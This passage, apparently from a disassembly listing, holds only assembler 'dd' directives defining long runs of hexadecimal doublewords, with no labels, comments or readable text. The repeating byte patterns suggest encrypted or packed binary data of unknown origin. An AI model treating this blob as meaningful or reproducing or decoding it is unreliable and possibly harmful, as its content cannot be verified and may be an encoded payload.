0B3F09322h, 8DCC80F7h dd 3DAFDBD1h, 9904C8Bh, 24B32768h, 1087437Eh, 0C3A62257h dd 2670D2B9h, 17946BDFh, 0A979328Dh, 5DD9CD02h, 0A1388D79h dd 0EC69203Ah, 867FC12h, 968F33F6h, 0B679423h, 1E302CEEh dd 96F94940h, 411D9423h, 0C106B22Ch, 64DECDB3h, 80942396h dd 9F36C7A4h, 4D3C223Ch, 942396F5h, 20381511h, 13CAF869h dd 8A3DFC9Eh, 8B42594Dh, 9EC29E52h, 5C488327h, 88FF03D8h dd 0DBFAA6E3h, 3D39ED26h, 0D17A3D19h, 56C21CEEh, 6D7F5C7Bh dd 1B2A9893h, 4ECA41E2h, 0F3A46779h, 8B4BD277h, 70EE38Fh dd 0C10FFAD4h, 8141E264h, 522C610Ah, 0C264EB57h, 330F0B4Dh dd 0ABE9A219h, 7DFEC661h, 1E0DDFD5h, 4DC251A4h, 4C00E440h dd 7CE116CDh, 93EBE097h, 91FEE7BFh, 0A600001Bh, 8E0DC104h dd 0AC2B9FD6h, 7900BCF5h, 962599D6h, 11F7B3F2h, 0A6E587F5h dd 0C102A332h, 9DD88E0Dh, 0BCF19A21h, 78330D00h, 6BDF27CAh dd 32E7AD2Ah, 63504479h, 0B6758754h, 67FC0A99h, 0B0E38853h dd 238D49F9h, 95B1AD94h, 0F266C2B8h, 50679046h, 42EA718Bh dd 0F40AEE0Bh, 8DA31F0Ah, 0F1439423h, 238D883Ah, 0D4F06C94h dd 0D1970CF7h, 3D2F9E13h, 13B1F44Eh, 120B109Eh, 685C412Bh dd 0BCFFEC08h, 0E26FA310h, 0A556D1F5h, 7BBB9F4Fh, 0B7EE9625h dd 1EB443A2h, 0AF6330FCh, 0BF91B5D4h, 0CA509BCCh, 5B472330h dd 728C4F66h, 0DA1D79B7h, 431D1936h, 1E9ACF78h, 97CA7D3Ch dd 0D98C2E94h, 866AC626h, 0FAC1969Ah, 0C0AF1C51h, 6CF8F03Dh dd 1ABE2FB8h, 33D30000h, 7BD3CF0h, 28DD5CD0h, 7BC3BEFh dd 0E5870ECAh, 0C83432A6h, 3B7F69Ah, 1C90D174h, 0FAAEE99Dh dd 1B8FC47Bh, 0E55D4C30h, 16BDF20h, 793218A4h, 55542A44h dd 6DCC7CEDh, 7C9E24E7h, 0FA766DCCh, 55512602h, 68825960h dd 0FC1B04C1h, 0EB9EC067h, 94239D57h, 110544E8h, 0EC015D15h dd 0DA7E3A36h, 1BC057D8h, 0C1D94A41h, 5DB9E13h, 13C1BC06h dd 8F41589Eh, 0A3577450h, 0A9300CC7h, 5BD7CB04h, 0C07857Eh dd 93229B55h, 0D3BFF8ADh, 0B259734Fh, 916118FDh, 0CF9AD89h dd 77AC53EDh, 815F815Bh, 408F388Ah, 6B80DC9Dh, 70C570C0h dd 3A141097h, 0F34F3A24h, 1387B0C4h, 0D2794217h, 0F19A219Dh dd 75760FBCh, 0DEB65999h, 19EFF5h, 1F620400h, 3D742CABh dd 1A53FA81h, 3774179Eh, 1150F483h, 2153AF9Dh, 0FD7C306Fh dd 0C84F0B4Ch, 0E473E722h, 5752063Bh, 211CA665h, 0FBF86BDFh dd 44793231h, 87546350h, 1255B675h, 9A3167FCh, 0C09AB6F7h dd 671B54F9h, 0E7ADE0Bh, 0EF8075E1h, 0F3B864DAh, 0F20CCFE6h dd 1393AA37h, 55D04C9Eh, 833F527Bh, 0BBA0D58Eh, 0BD7CE5E4h dd 3E22CE09h, 73058229h, 0FCBF62DAh, 1C180C45h, 0CE179E3Fh dd 0DA7567DBh, 5F087F0Dh, 502A462Ah, 0EA190459h, 0DAC6A207h dd 0BD536B60h, 7AA1EE00h, 0E2F9005Dh, 8F33F608h, 6737C9A7h dd 0A7AC1615h, 0EC4837C9h, 1E0DF308h, 3DF9EDD6h, 0CB77324Ch dd 2B3E39DDh, 0C681A2Fh, 8BC067F2h, 6A9F48CFh, 106C3EFDh dd 118292E0h, 1918h, 7E3A7D2Dh, 9E1A51F7h, 85397217h, 981451F6h dd 7C306F21h, 4C00728Eh, 27CA510Dh, 3FE372E6h, 1AD14804h dd 7A8669E5h, 0DF22338Fh, 4ED6D36Bh, 50447932h, 75875463h dd 7C22A08Bh, 66C26DCCh, 76BC6F91h, 0E67FBD2h, 0CA813812h dd 9992BB95h, 44852832h, 49421B17h, 0D7FBAA34h, 929420DFh dd 61D85487h, 6CB975AAh, 0A2BC8E4Dh, 0DE75CDBCh, 0FA919420h dd 0B671B52h, 0D91912E7h, 7D9E1770h, 540CCFA1h, 0D578431Dh dd 6784E094h, 89C068EFh, 1045FE9Dh, 3C81EEABh, 454E4640h dd 1878h, 1E9ADD8Dh, 0FEBAF197h, 2599D277h, 0F8B4F196h dd 1C90CF81h, 0ECA0D22Eh, 7AA31ADh, 0DF8312C6h, 0FAB128A4h dd 1A2609C5h, 0DF22D36Fh, 0EEB6336Bh, 4C1EBD5Ch, 0FBD2955Dh dd 1B353167h, 30A9E7A0h, 0E10523C3h, 5EC3775Bh, 0BB6E805Bh dd 94201813h, 0D4836FEBh, 9420186Bh, 9F5AF98Ah, 397EC64Eh dd 792Eh, 0E4895000h, 204CF6B5h, 0CCA89420h, 6378FCA8h dd 1AC15CC9h, 7CE54940h, 0CEFF6DCCh, 0DD9860BFh, 0AC6E8B85h dd 0F9C09EB0h, 0B671B54h, 0CC94A61Ch, 0F911096Dh, 3B782142h dd 7C2BDE43h, 4C611834h, 4535328h, 6DCCA5BAh, 6E8B2A59h dd 336A50A3h, 40E0DA13h, 8911DB7Fh, 1CFC74h, 24E0000h dd 6DCC7C45h, 14E6F504h, 0FC0D6815h, 0AE2A0667h, 2D489FCCh dd 0E18E830Fh, 0BD5C400Ch, 0A7324C1Eh, 0F7B4C902h, 67FC0652h dd 72CCB8B4h, 8A259D8Ch, 0EC9F9423h, 94238A56h, 5EBAB2AEh dd 0E419D289h dd 0C29E4F0Ah, 421ED20Bh, 0D9EE721Eh, 0F82DD665h, 0B111F8E6h dd 2094238Ah, 0B52C2427h, 77F3AB62h, 8325A462h, 0ACC807A9h dd 0F42BE1F8h, 0ABE48900h, 44DBC4F7h, 67FEA578h, 2FDA05BEh dd 9423A893h, 5FDBF773h, 5042FD8h, 9423A8BDh, 0DF9DD59h dd 0A0BA21B8h, 13D880E9h, 2EAA869Eh, 0D7CB00A7h, 49605190h dd 1EB50E06h, 0E7A07017h, 4A367517h, 1A160AE6h, 4CF38236h dd 6D89C87Ch, 3A6D22B9h, 6560F34Fh, 883AF116h, 6C166560h dd 402400F0h, 0ED6C4254h, 0A147FE39h, 9DBAB66Ah, 5BE67FEh dd 883BFED0h, 31A82E4Bh, 6451457Ah, 0B5748655h, 1C550144h dd 3924622h, 5C7B275Ch, 1BC68A9h, 692203A2h, 4A017834h dd 86123B15h, 5BC8D5F3h, 361C2E93h, 8878DC11h, 0B73EB373h dd 0A5344A24h, 56DAC601h, 0A7C98A81h, 918D1264h, 0B0E59E1Dh dd 8E6A1B9Eh, 0CAB69ADBh, 33DF14CBh, 4836132Fh, 44E4A521h dd 6E059E72h, 6FEB20C7h, 0F50742E8h, 0E4A2200Bh, 0E6423244h dd 0D2761511h, 19AADF93h, 0CC07BB7Ah, 0AAE58910h, 0EF2CDFF6h dd 0C23BF0DDh, 7E6BE220h, 6A1EBD69h, 0E99DDC90h, 0B0BD698Dh dd 0CB1FA73Ch, 6A229928h, 9E553F33h, 0BDE6B907h, 104BFF26h dd 2E691D9Ch, 1316E842h, 3244F0AFh, 988CCD80h, 9792E49Ch dd 3244F02Bh, 56734FCBh, 11EBF007h, 748AB11Ah, 7D95538h dd 0A9608B34h, 34B4FE19h, 284521FDh, 3ED56C76h, 0A41853F7h dd 4D396E15h, 0B460954Eh, 42DC4D7h, 2A54265Bh, 0B4FDC37Fh dd 32472334h, 0B520F1ACh, 6A00D9F2h, 4A000000h, 206104D7h dd 60DBF074h, 0A9836FAAh, 2B407D32h, 5F053BDAh, 623EFD1Fh dd 0FFE39A79h, 0B92209E3h, 2B67FC3Eh, 0D4C0F9B0h, 9A13AF5Ah dd 77F39423h, 388A815Bh, 0DC94239Ah, 0BBB76B80h, 76CCBFA1h dd 8E94239Ah, 1F01B592h, 9BD27A41h, 269C8BE7h, 0BE94239Ah dd 21A18862h, 0C594239Ah, 54D59469h, 0DB000000h, 5A6FAA60h dd 417C32D2h, 82596055h, 2F939668h, 0C76DCC7Ch, 0ADC8AE62h dd 5E82B7DEh, 77897789h, 0CC9C0EB4h, 7DC5C46Dh, 996DCC9Ch dd 7489E59Dh, 0FCFFFAB7h, 6517A67h, 0B17B59B4h, 7B1208E5h dd 9D998DC6h, 0B09FABB0h, 60848BD8h, 0DA19CB8Eh, 0D7B339FDh dd 7A265B04h, 703DE1F6h, 51F64A69h, 0F34F3A14h, 136DCC7Ch dd 9A213B17h, 68CCB8F5h, 25BE6D93h, 0C167FC20h, 8939E265h dd 0D089F4CFh, 55ED9C49h, 0B168F0B9h, 52F09BB5h, 0B268F0B9h dd 8BC09AB6h, 38ECEBE1h, 0AD18D4F9h, 1271F4Ch, 4E6B1A2Ch dd 0F3A46779h, 8B62C0ADh, 70EE38Fh, 0C10FFAD4h, 8198D09Eh dd 5710CBA5h, 0AAD4A622h, 0D01243FFh, 792CA394h, 0CE84C38h dd 86BB64EFh, 0F9A30EE1h, 192824Ah, 1480h, 0F6B2F595h dd 1692C97Fh, 0FDB1EA9Fh, 0D08CC97Eh, 0F468A749h, 0B4588AF6h dd 8F42B975h, 0A75BDA4Eh, 0C269F06Ch, 0E2DED18Dh, 0DF1E9B27h dd 961E7B6Bh, 0CC7D4002h, 0EBF0076Dh, 0D0291A11h, 51CD9803h dd 0CB06BC7Fh, 0A7E2880Fh, 0AC5F81FBh, 9423B016h, 0DE5572EEh dd 624BF025h, 124A0A02h, 141E9102h, 93330000h, 0A75DDC50h dd 883DBC70h, 0A75CDB4Fh, 0C567EE6Ah, 0A8D4D286h, 0E357963Ah dd 0BC70B154h, 0DA4E893Dh, 0BB6FA45Bh, 853DECD0h, 616BDF1Eh dd 0BD5CB884h, 645D4C1Eh, 8267FC2Fh, 8F97D4A6h, 6C81C415h dd 7EBB70E7h, 0A7B98E92h, 1B356C14h, 0B9FC4645h, 1C189423h dd 0C3AFE89Dh, 0EAD48A5Fh, 0B9AD1514h, 64279423h, 9423B9DEh dd 4B423A36h, 69835F94h, 23B900C2h, 7388E494h, 1D0940E8h dd 0F44E3D23h, 109423B9h, 0F34F3A14h, 139423B9h, 0D2794217h dd 0B95EE4A7h, 0BAB69423h, 630F44FBh, 0F709E3FFh, 23B98E34h dd 15146694h, 9423B9ADh, 0F409ED49h, 0B2F19332h, 0E625C7BEh dd 0A73E5D3Ah, 9258CD10h, 0DCF8E770h, 0F938D76Ah, 0FCA01C53h dd 34A733C4h, 0AAE89F1Ah, 37279E38h, 2C412522h, 3D742CABh dd 10A52249h, 364D9423h, 0B7EE969Fh, 95CC7403h, 124700BBh dd 39E5025Eh, 9CAE2DCCh, 34181FAFh, 7B50560Ch, 20CA665h dd 23089E14h, 98171048h, 6BD7D271h, 8B9E10F8h, 0BD8FB38Fh dd 9C1045FEh, 4531661Dh, 8D7C6970h, 9E10F835h, 0F846FCAFh dd 0C29E9E10h, 58724ECAh, 0F6D34586h, 3EC8838Ch, 54294D88h dd 27DA7E57h, 0C29C9894h, 0C98050F7h, 2A77AB90h, 839DDDE4h dd 0B36CEB5Fh, 0EA063DE3h, 0B12AC936h, 808CC19Fh, 4389DBEEh dd 0A41E0DDFh, 408004C7h, 2B1C07E4h, 918A34BEh, 7FB2D45Ch dd 637831E8h, 99FBBA9Fh, 6F36F95Ch, 67CFE653h, 0B363545Dh dd 128322h, 0B3F69800h, 91C880F7h, 0AEE79E1Dh, 8BC87BFAh dd 65A448CFh, 558703E9h, 41B874B3h, 5CDB4F90h, 68EF6BA6h dd 0DBCE8ABFh, 18982AE1h, 1F7C6BDFh, 7C590295h, 40E66DCCh dd 0DDFC4905h, 683DECFEh, 0F667FBD1h, 34D9607Ah, 0D7A93FFBh dd 4DD10696h, 5C4FDE23h, 6DCC54E6h, 293E22FEh, 0EAF99B76h dd 97500B30h, 60E38562h, 0DD000001h, 54BA0803h, 0F193924Ch dd 0AA62BEB2h, 5C1399AEh, 0D78F1DC2h, 0CC7C6BD4h, 34DA616Dh dd 5470A55Eh, 498629A0h, 0D0FDD95Dh, 59288CDh, 0B68A5FE4h dd 4D7F8BEh, 0F470245Dh, 0D72B01D7h, 0A3225F04h, 17ACC102h dd 0C35CAE74h, 0BA128E1Ch, 8D1BC05Ch, 2BF69E2Eh, 0B366B22h dd 32h, 1CC35C81h, 5B04D78Eh, 0E79BD88Bh, 9782678Bh, 70F2C85Bh dd 8487596Eh, 6DCCF83Bh, 0D7D157D3h, 5D04D7F5h, 0D58C4724h dd 8A420E9Ch, 3440h, 0C35C8C00h, 0D4D78E1Ch, 6DCC7C6Bh dd 3A731AA1h, 4006EA46h, 265B04D7h, 0FFE1F67Ah, 4796D72Dh dd 0AFEC10A3h, 31D86378h, 2EE5E6F8h, 0CCB2955h, 42ECB895h dd 222BF68Ah, 450B366Bh, 81000000h, 0CC80C05Ch, 0DB1ACE8Dh dd 0A9D731F7h, 7C6ED4D7h, 0AA866DCCh, 7C69D6CDh, 6A636DCCh dd 38F02DD1h, 0F11DDC01h, 0F8742643h, 71B253E6h, 2016AC5Fh dd 72EE6DCCh, 0F5D7CF55h, 75437A32h, 4A408A42h, 8C000000h dd 9625C05Ch, 66CAB6EFh, 0CC7C03BFh, 9A91E36Dh, 6DCC7C28h dd 507450CCh, 6BD4D7CAh, 0A16DCC7Ch, 0F5D7E7B5h, 75437A32h dd 4002A9D7h, 0A46DCC7Ch, 7C6BD7D2h, 8F8B6DCCh, 50F299B3h dd 0B46DCC7Ch, 5428A3B8h, 0C7A4E385h, 0FE8140FDh, 5C8CFFFFh dd 5D4C1EBDh, 67FBD295h, 0F64C3F31h, 0E9420D6h, 0D6D56D1Ch dd 35319420h, 0A01B3511h, 24F6B2E7h, 0C9C0F195h, 9420D679h dd 0C8A5C19Dh, 2739A235h, 20D6DE64h, 45443694h, 9420D6FDh dd 4D391D19h, 20D6BA1Eh, 8EC57B94h, 142E3E2h, 0DE750615h dd 0D37201F2h, 7E7FBB16h, 3B9B39h, 2F10000h, 6DCC7C44h dd 41FD32D9h, 0CC7C3D8Ah, 0A39D3C6Dh, 498629FFh, 0A437492Dh dd 0D0A8C5FCh, 0A1772BAEh, 60C4B0EFh, 2FBC6784h, 0B767FC20h dd 761AA1BBh, 2B9C2237h, 0F3h, 1EBD5CA1h, 5A7324Ch, 9FAB1C6h dd 0ED67FC19h, 266E5F71h, 1E162D8Ch, 904B2D4Ah, 0A0CD9FDAh dd 436BEEE8h, 0FFD01096h, 0ADA3B783h, 0AB2AB4C9h, 0FBC8BCF7h dd 13EDFFDCh, 1A3D39DAh, 512B7631h, 23CAE85Ah, 3B100C94h dd 14649A50h, 1C2E2A9Eh, 97D47742h, 0E97287EBh, 6C4E0A45h dd 528F0D7Fh, 0E2F7E46Dh, 8584B559h, 9E10513Dh, 0C705DD9h dd 0CBBA4FCEh, 0CAB4C6AAh, 108963DFh, 0D2A7839Eh, 3D8DFD4h dd 3EAB42E9h, 0D63B9427h, 0F49DF3B6h, 728C68B9h, 160A41E7h dd 0B28ECD7Fh, 0C39DC395h, 6B1752F8h, 5EA22007h, 0CA7B8005h dd 0C09D9989h, 0A3174CF3h, 91366B14h, 5E2CEC3Ch, 5DB720F4h dd 7200000Fh, 3AC17DC0h, 58DF5B92h, 35C478B1h, 62D95592h dd 0CDBB6FAEh, 62A143B1h, 7DBE6FE6h, 59943AC1h, 78AD56E5h dd 34F7C9C4h, 6BDF1B8Eh, 32C38966h, 0DE504479h, 0B76BA85Bh dd 0BB019CB2h, 547025F8h, 0CE03BC77h, 0BF566522h, 2498CD76h dd 0DD65243Ah, 396DCC02h, 9657203Dh, 76336AABh, 6Bh, 0E11ED188h dd 4D7400Ch, 0B94C2160h, 0D1AFC11Ah, 0CC7C68DAh, 0BB908C6Dh dd 10B1E6A5h, 0DB4D67FCh, 23979230h, 0DAF67294h, 4CE2CB00h dd 4F4D1571h, 6FA2FD8h, 3A514D2Ah, 59E05C91h, 0ECCE74B2h dd 769FEA89h, 94B805Ah, 7C2D5645h, 976C1A2Fh, 1CA66580h dd 0F89423B2h, 0A95D4F7Ch, 0D7148D02h, 0D92AE1FBh, 0BD9E1367h dd 0D75FED61h, 6B32F496h, 0F262ACF5h, 0A4D26199h, 4DF3B28Eh dd 0F1066A16h, 0CF8BC26Ah, 0AA1813EDh, 4A6DCCBAh, 8A42F9CEh dd 0AC27953h, 6108F6D3h, 6DCCBAFAh, 0F266A145h, 7B55868Dh dd 0FB17CC90h, 7D2C5267h, 94210CC5h, 72284521h, 0B055E4F6h dd 0F625C377h, 30EB221Bh, 140FBh, 0C25C5100h, 0D4D78F1Dh dd 6DCC7C6Bh, 209BB5A1h, 43422E6Bh, 0B5B1659Eh, 0D7F0BC91h dd 0AF771AF5h, 8E1CC35Ch, 0C05CBA12h, 9E2E8D1Bh, 6B222BF6h dd 2D0B36h, 5C810000h, 0D78E1CC3h, 0CC7C6BD4h, 21A7836Dh dd 7F32A9D7h, 0F9CE523Eh, 427B3233h, 0D78A4274h, 7C4002A9h dd 0C8A46DCCh, 4E36B3h, 0D7860000h, 71255C04h, 4F1504ECh dd 381C3C4Ch, 0B039C223h, 0CCB849F9h, 95B1AD6Dh, 1C4700BBh dd 0CCB8D56Dh, 1135316Dh, 0D4D7703Ch, 6DCC7C6Bh, 76CCBFA1h dd 8E6DCC7Ch, 611556F7h, 1C0FE105h, 6DCC7CA6h, 38FEE23Eh dd 7B32F5D7h, 8A427442h, 6B222BF6h, 420B36h, 5C810000h dd 90C980C0h, 0D66480E4h, 4002A9D7h, 826DCC7Ch, 0CC7C3B87h dd 8F7FDB6Dh, 0E7A2B693h, 6DCC7C5Eh, 9A6A21B8h, 0EC98BCF1h dd 0C7926C88h, 383CE823h, 0F5D78923h, 75437A32h, 40408A42h dd 8C000000h, 8D1BC05Ch, 265B04D7h, 2F512F51h, 0CC7CC67Ch dd 25421E6Dh, 0CC7CC17Eh, 8D1B3B6Dh, 4D7F5D7h, 8D46235Eh dd 0A95297D7h, 6AEC709h, 0F87C285Dh, 0F8E6F8DCh, 0CC5EB111h dd 4D9556Dh, 408A4228h, 0FFFFFEB7h, 1EBD5C8Ch, 0D2955D4Ch dd 0F10F67FBh, 20D6883Ah, 39F06C94h, 7B7F5C93h, 0BAB3CD9Fh dd 6CFFA060h, 54DFFCC7h, 9D636DABh, 0B7AC2FCh, 96D195Ah dd 7BBA6EEDh, 0B5C7AB87h, 5C487D26h, 0BA4EA5CFh, 886CECF4h dd 8396EB73h, 0D9CD0ABDh, 7967795Dh, 92370BC2h, 0ADC9AD59h dd 0A3607DF9h, 9420091Fh, 7F617BF7h, 2009368Ch, 7552CE94h dd 0E2C9B789h, 94200960h, 0D8D3A884h, 94200974h, 0A441E093h dd 397EB549h, 1029h, 4402A300h, 0D96DCC7Ch, 0C841FD32h dd 0BFh, 5E04D734h, 0D6F36F23h, 19D07087h, 143034E0h, 5B24F3Ah dd 0D85467FCh, 548F3306h, 72AD61D8h, 0F52AE158h, 56482501h dd 0BF914A69h, 142512CCh, 9CAEAA9Eh, 1C2E691Dh, 25AF2E2Fh dd 0DD028Bh, 30D56436h, 0D88C0BF7h, 0E8A3BD99h, 9E10375Ah dd 0D2895EBAh, 0C035E11Ch, 0E1C8A239h, 9427804Ah, 6BEE005Ch dd 63BE4B4h, 728C6EEAh, 4800BB7h, 5A6FEB80h, 2FEC2AE1h dd 8C352CEEh, 0BAF7AC2Bh, 0E1866AC6h, 5E2D60E6h, 0D1E9FAAAh dd 0E600000Bh, 0CE4D0144h, 0EC6BDF16h, 0B940FC35h, 0D665D916h dd 5137F332h, 0E625C735h, 142E372h, 0DD18CE4Dh, 0FC31DA61h dd 0B8734D40h, 6BDF170Ah, 3227EDEAh, 0AF2A4479h, 0DEA0BDFEh dd 0BC7040E7h, 5987597Dh, 0CC7C10B2h, 6378F46Dh, 3ED5E6A3h dd 0C78050F7h, 20FAAE92h, 0CBB7F899h, 448D9267h, 0B4336B2Ah dd 59508125h, 923384E9h, 4135110Dh, 83C266E5h, 550266h dd 0D7480000h, 71255C04h, 6E85D8F5h, 0B98936Dh, 0AB67FC1Dh dd 0C24B99A6h, 98504D71h, 95B1B561h, 1DC6C5B1h, 3EE574E8h dd 0BE64F709h, 0C2249E8Dh, 64C09423h, 0EF9A9480h, 9423C253h dd 0BE9BB7B3h, 0F7E4F3C0h, 63D2FBE5h, 1324F4C2h, 9B682338h dd 7B9E1391h, 0D79D2B9Fh, 75216004h, 8A76AF56h, 26ADCAA6h dd 0D493477Eh, 6DCC7C77h, 73E722C8h, 0FAD4070Eh, 0FBD1460Fh dd 4A240067h, 0C502A534h, 0BB7855D1h, 7B11CD06h, 0EB221BF6h dd 1F5FB30h, 36050000h, 0A983588Dh, 8F1DC25Ch, 7C6BD4D7h dd 0B5A16DCCh, 2A9D7E7h, 6DCC7C40h, 2DFABFA4h, 0BE14A261h dd 0CDB3C5A2h, 0DC37E9A0h, 3D39ED24h, 0A8BCBC10h, 771AF9D3h dd 1696D7AFh, 0E7443D21h, 19A24318h, 4D700C6h, 0E09E195Fh dd 8F30D5C1h, 5BFD96B3h, 4085372h, 0A3B857A4h, 2A9D709h dd 6DCC7C40h, 38EC2BDDh, 13E8443Ch, 37DA6672h, 4A260AF6h dd 2A9D77Ch, 6DCC7C40h, 24B3C8A4h, 222BF694h, 4E0B366Bh dd 81000000h, 4002A9D7h, 0A46DCC7Ch, 0C952B3C8h, 0D0754416h dd 0D7EAC297h, 3F7E32A9h, 451EC653h, 0DB418935h, 9C29E2F7h dd 586DCC27h, 3BF31C73h, 27DE69E3h, 5F5D2EEh, 0F5D7A329h dd 0C94D96D7h, 0F4F47406h, 6CA55CD7h, 408A42DEh, 86h, 1CC35C8Ch dd 2A9D78Eh, 6DCC7C40h, 7C3B8782h, 7FDB6DCCh, 1A4FF88Fh dd 11E60A66h, 0A44A11EFh, 0A4B9BD69h, 0CC7C5EE7h, 0CC9ED66Dh dd 7C4BF7B2h, 0A2896DCCh, 6DCC7C20h, 0BCB868C4h, 7C5BE7A2h dd 5FBB6DCCh, 0A9D7C28Ah, 2DA196D7h, 9696CEBAh, 0CCCB53EFh dd 661CB36Dh, 0D7FB772Bh, 0A9D72A02h, 0CC7C4002h, 0B3C8A46Dh dd 36488128h, 7CE16148h, 29056DCCh, 96D77854h, 0D8F0BB67h dd 0FC6784CBh, 518E41F8h, 2BF6B07Ch, 0B366B22h, 41h, 1BC05C81h dd 6104D78Dh, 0DBF07420h, 7CB90605h, 0D9556DCCh, 51903407h dd 96D7B07Ch, 5956B5FDh, 0BDE502E0h, 78515A7Fh, 0F40AEE0Bh dd 6F89E8F7h, 82575109h, 437A32AAh, 408A4275h, 3Ah, 1BC05C8Ch dd 6BD4D78Dh, 0A16DCC7Ch, 3DB29BB5h, 1D031E31h, 73EE665h dd 0F5D75AF2h, 653A7A32h, 592CF65Ah, 4292183Ch, 0D969203Eh dd 86DCC7Ch, 0C6F20C6Dh, 72EE9EE0h, 1140CF55h, 40FFFFFEh dd 0ABE89B1Eh, 368C7BF7h, 0CE6DCC7Ch, 5CAF7552h, 9BAB15BDh dd 499B13B4h, 9A58532Dh, 3A67FB0Eh, 0CF20CDEh, 21FAA51Dh dd 0DC4194h, 0C1E85BF3h, 0CC876480h, 8141E813h, 43942167h dd 2167FA48h, 4E3E1A94h, 73B053D2h, 7386DB4Fh, 7A01E55Fh dd 0A849607Ch, 9BB7BB67h, 0BBA5B7h, 52390E4Bh, 9421C5F0h dd 0DB672214h, 3B9421C5h, 0DBCDFADFh, 6DC9FB8Eh, 6ACE9D89h dd 99942176h, 63AE4BEAh, 43397E20h, 10h, 7C440289h, 32D96DCCh dd 0EBC841FDh, 34000000h, 7CC996D7h, 0F9306F92h, 607281E4h dd 79CEDC89h, 8C36F549h, 686DCCEDh, 1316E80Ch, 6DCCEDAFh dd 0F507EB47h, 8C36F50Bh, 686DCCEDh, 2734EF0Ch, 0BF67FC81h dd 1CD28963h, 0C8936DE1h, 0D301E623h, 4AF7844Ch, 1FC3906Dh dd 9B4F0AE4h, 269B8B60h, 4C324C8Fh, 6205D78Dh, 0D1554125h dd 11D30FFCh, 0F7739E0Bh, 0D8D5E8E5h, 0CC8FFD8Ah, 4D29DD14h dd 0AD2C5429h, 300ABEF9h, 0ADCA05A9h, 51458026h, 74865564h dd 266B26B5h, 48AD9E94h, 0F76213E2h, 411DDDFAh, 0E85A512Fh dd 0C800653h, 96253B10h, 2C6B1DEDh, 0D4C0F7ADh, 41B87450h dd 0EFE8558Ah, 0CF5E2FE1h, 792CED7h, 7A70000h, 0DB9108C4h dd 0FCB128A4h, 0DB9007C3h, 0F9AB2A9Eh, 0FC08FEBAh, 1F9BDA8Eh dd 0F8B4F598h dd 1692CD81h, 0F7B3E89Fh, 0C1812814h, 256BDF13h, 7932FCC8h dd 5BDE5044h, 0AE5D6FA4h, 6DCC7C14h, 0DC5774F0h, 4502EE23h dd 803B9F36h, 164FF6C8h, 36EA066Ah, 35790D3Ah, 0E5197BE2h dd 5F944B08h, 94DD30EBh, 3CBD336Ah, 0F000000h, 4C1EBD5Ch dd 0E55D4C32h, 16DCC7Ch, 0C65B4825h, 0BE67FC1Fh, 46B30D8Dh dd 0E0FD756Bh, 0D8523E1Ah, 0CC598FF3h, 4825F03Fh, 237FE35Bh dd 0D2710294h, 7C32D617h, 3AB639h, 5C140000h, 5D4C1EBDh dd 67FC2A40h, 770E025Eh, 981F9BD0h, 956B1FEFh, 65C1B5F2h dd 0B5919581h, 7C7E6FC1h, 7C6FE328h, 6E85D8F5h, 30E419D2h dd 4B3E1034h, 9E13B75Eh, 0BA500C68h, 0A62DB415h, 0D86A213Fh dd 3C6DCC7Ch, 7C8939E0h, 0F16D6DCCh, 9310FBD5h, 3367FC20h dd 0F7ABE69Ch, 18AA617Bh, 0FC9423A0h, 0DA814420h, 55B91D97h dd 904F8392h, 9373C77Bh, 56973AF1h, 0D0AAC6AAh, 34762BAEh dd 0E92BBE30h, 86637F77h, 85D9C89Dh, 26DA565Eh, 0CFA13AD9h dd 4318590Ch, 82A66E1Dh, 25E5495h, 0A24316E8h, 18CF8C61h dd 6843EEDh, 4604095h, 6833FEAh, 7634095h, 738D6FEBh, 95060AB8h dd 596EEA40h, 47F429E2h, 9EBCB454h, 1D5B4C58h, 32000006h dd 0FA813D80h, 189F1B52h, 0F5843871h, 22991552h, 8D7B2F6Eh dd 22610371h, 3D7E2FA6h, 1954FA81h, 386D16A5h, 0F4B78984h dd 6BDF0D4Eh, 328349A6h, 39504479h, 82DF5B94h, 68966873h dd 7C2F9396h, 6BC76DCCh, 9FD34ECh, 8F53502Dh, 2767FBD2h dd 8940574Bh, 64FEEB50h, 0DEB64A09h, 5BBF5h, 0DB1ED000h dd 0F930D85Fh, 0D60FB645h, 0F330D362h, 0CD0CC037h, 7DEF1B11h dd 49D08CCBh, 64F367A8h, 50C783BEh, 3E66297h, 0DB012F9h dd 57546BDFh, 83BD5CCDh, 0ADBFA3E0h, 0FBD220FEh, 0B460BC67h dd 92377015h, 4A09646Fh, 6D821303h, 82000005h, 4AD18DD0h dd 68EF6BA2h, 45D488C1h, 72E965A2h, 0DDCB7FBEh, 529133A1h dd 6DAE5FD6h, 89C46AF1h, 689D46D5h, 407F9F4h, 6BDF0DBEh dd 0D7D35956h, 7C2F5C04h, 6DCC7CC6h, 721E421Eh, 7CB111F8h dd 0D9556DCCh, 767DE0FDh, 0FC628B65h, 0E827C981h, 8E46003h dd 0CC1E0DF3h, 5867FBEEh, 56C509D3h, 0C9ADEEBBh, 427F24B7h dd 0AB627925h, 9CB4C572h, 0D0C44A09h, 4F3C7h, 23660800h dd 417830A7h, 1E570E8Dh, 3B782BAAh, 1554F87Fh, 2557B399h dd 11884483h, 2CAB1F60h, 0F87F3B76h, 0AB9E1A4Fh, 0E68DAD1h dd 0F8C6BDFh, 44793285h, 5D923950h, 16AD16A9h, 0A723580Fh dd 4E427730h, 0CC7CBE07h, 861D646Dh, 0F7B3E89Fh, 0DE92C780h dd 0BA7040E7h, 0B38F937Fh, 0D00BAAF7h, 112E0BFEh, 23B667FCh dd 452F3C7Eh, 0DAA4862Ch, 4521E1F6h, 59BC0A51h, 0DC919423h dd 33D8EFA3h, 0BB1D0AF6h, 0AFE0A4E8h, 801FD284h, 99384B3Ch dd 7B67915Ch, 953A0139h, 0F02FE158h, 5F75DBh, 5CD70000h dd 5D4C1EBDh, 67FC7C74h, 0F5C49692h, 4601453h, 0D67037E7h dd 67943C7Ch, 299990C5h, 0CD943C7Ch, 9C817551h, 1B54F207h dd 0E48A4189h, 361A5B0Eh, 8939F04Ah, 6D943CC7h, 2EC55EF1h dd 23C2F1A2h, 7A7AEBC6h, 86855B39h, 943CD33Ch, 87825CD8h dd 943CD33Bh, 66A7FDBh, 0EBh, 44793244h, 58973950h, 41762DACh dd 588D3655h, 0DE25E4h, 68966DCCh, 338001C1h, 0D289E592h dd 510ADF1Eh, 758B659Ah, 33800CB6h, 6F8CE892h, 0A14615E7h dd 13CC8764h, 36BD32DEh, 5810CBA5h, 75344C21h, 9803F3B4h dd 0E75B4E30h, 0FF942395h, 0C100A423h, 0BE7AF6ACh, 77895261h dd 155D86B4h, 0E8025E9Eh, 6E80BF71h, 6FA39EBh, 12894D2Ah dd 0C082295Eh, 0EF9E114Ch, 0B30BE754h, 7DF9A96Ah, 7A91F459h 